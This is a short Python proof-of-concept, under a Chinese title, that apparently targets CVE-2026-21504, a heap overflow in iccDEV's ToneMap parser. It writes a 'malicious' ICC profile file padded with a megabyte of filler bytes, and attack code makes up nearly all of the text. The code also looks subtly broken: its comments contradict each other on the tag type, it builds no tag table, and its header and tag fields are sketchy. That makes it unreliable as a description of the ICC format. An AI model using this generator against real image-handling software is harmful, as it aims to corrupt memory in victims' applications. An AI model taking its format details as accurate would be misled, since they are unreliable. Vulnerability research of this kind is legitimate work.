CVE-2026-21504 iccDEV ToneMap解析器堆缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-21504 PoC - iccDEV ToneMap Heap Buffer Overflow Note: This is a conceptual PoC for educational and security research purposes only. """ import struct import os def create_malicious_icc_with_toneMap_overflow(): """ Generate a malicious ICC profile with oversized ToneMap tag data to trigger heap buffer overflow in iccDEV < 2.3.1.2 """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size will be set later struct.pack_into('>I', header, 0, 0) # profile_size # Preferred CMM type header[4:8] = b'lcms' # Color space (RGB) header[16:20] = b'RGB ' # PCS (Lab) header[20:24] = b'Lab ' # Creation date/time # ... (standard ICC profile header fields) # Tag Table # ToneMap tag signature toneMap_tag_sig = b'mft2' # 'mft2' is a tag type, ToneMap uses 'mft1' or similar # For this PoC, we simulate the ToneMap tag data # that would cause buffer overflow when parsed # Malicious ToneMap data - oversized to trigger overflow malicious_toneMap_data = bytearray() # Tag type signature malicious_toneMap_data.extend(b'mft1') # ToneMap tag type # Reserved (4 bytes) malicious_toneMap_data.extend(struct.pack('>I', 0)) # Number of input channels malicious_toneMap_data.extend(struct.pack('>H', 3)) # Number of output channels malicious_toneMap_data.extend(struct.pack('>H', 3)) # Embedded compensation curve (0 = embedded) malicious_toneMap_data.extend(struct.pack('>B', 0)) # Version malicious_toneMap_data.extend(struct.pack('>B', 1)) # CLUT grid point count (for each dimension) for i in range(16): # 16 grid points per dimension malicious_toneMap_data.extend(struct.pack('>B', 0xFF)) # Malicious data - overflow payload # This oversized data will cause heap buffer overflow overflow_size = 1024 * 1024 # 1MB of overflow data malicious_toneMap_data.extend(b'A' * overflow_size) # In real scenario, this ICC profile would be written to file # and opened by an application using vulnerable iccDEV library return header + malicious_toneMap_data def main(): """ Main function to generate PoC ICC profile """ print("CVE-2026-21504 PoC Generator") print("=" * 50) print("Target: iccDEV < 2.3.1.2") print("Vulnerability: Heap Buffer Overflow in ToneMap Parser") print("=" * 50) # Generate malicious ICC profile malicious_profile = create_malicious_icc_with_toneMap_overflow() # Update profile size in header struct.pack_into('>I', malicious_profile, 0, len(malicious_profile)) # Save to file output_file = 'CVE-2026-21504-malicious.icc' with open(output_file, 'wb') as f: f.write(malicious_profile) print(f"\nMalicious ICC profile generated: {output_file}") print(f"File size: {len(malicious_profile)} bytes") print("\n[!] This PoC is for educational purposes only.") print("[!] Do not use for malicious purposes.") if __name__ == '__main__': main()